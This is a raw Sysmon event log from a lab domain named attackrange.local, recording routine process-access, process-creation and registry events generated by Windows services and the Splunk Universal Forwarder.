15:03:32.108{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017246Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-73C4-613B-1B05-00000000F101}1464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017245Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.108{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73C4-613B-1B05-00000000F101}1464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017244Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:32.109{625C326B-73C4-613B-1B05-00000000F101}1464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:33.883{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=82AF95C107BDA3677785330C5BEC0EC1,SHA256=A8887EED047604C26688E26C6B5311A5E0F109A19DA7235024B8EC0EE96AD617,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017287Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73C5-613B-1D05-00000000F101}3076C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017286Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017285Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017284Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017283Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017282Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017281Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017280Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017279Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017278Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017277Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-73C5-613B-1D05-00000000F101}3076C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017276Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.874{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73C5-613B-1D05-00000000F101}3076C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017275Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.875{625C326B-73C5-613B-1D05-00000000F101}3076C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017274Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:33.374{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F02F04D649E3D4F13201100D1D3BF4DA,SHA256=B0B67F1047CD62F2F44CA492FA7314F097C522852AC520DF8882957E313B2147,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000053921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\RegisteredSinceBootDWORD (0x00000001) 13241300x800000000000000053920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\StaleAdapterDWORD (0x00000000) 13241300x800000000000000053919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\CompartmentIdDWORD (0x00000001) 13241300x800000000000000053918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\FlagsDWORD (0x00000002) 13241300x800000000000000053917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\TtlDWORD (0x000004b0) 13241300x800000000000000053916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\SentPriUpdateToIpBinary Data 13241300x800000000000000053915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\SentUpdateToIpBinary Data 13241300x800000000000000053914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\DnsServersBinary Data 13241300x800000000000000053913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\HostAddrsBinary Data 13241300x800000000000000053912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\PrimaryDomainNameattackrange.local 13241300x800000000000000053911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\AdapterDomainName(Empty) 13241300x800000000000000053910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\Hostnamewin-dc-387 10341000x800000000000000053909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:33.562{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30485|C:\Windows\system32\lsasrv.dll+2e31b|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 13241300x800000000000000053908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.562{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DNSRegisteredAdapters\{6C41A63C-1AAA-4D7E-9C3D-E041DDB3BFDC}\RegisteredSinceBootDWORD (0x00000001) 13241300x800000000000000053907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000053906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00370f46) 13241300x800000000000000053905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64c-0xa4082dbd) 13241300x800000000000000053904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0x05cc95bd) 13241300x800000000000000053903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65d-0x6790fdbd) 13241300x800000000000000053902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000053901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00370f46) 13241300x800000000000000053900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64c-0xa4082dbd) 13241300x800000000000000053899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a655-0x05cc95bd) 13241300x800000000000000053898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 15:03:33.377{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65d-0x6790fdbd) 354300x800000000000000053897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:30.827{7BD73061-65B2-613B-1100-00000000F001}432C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL 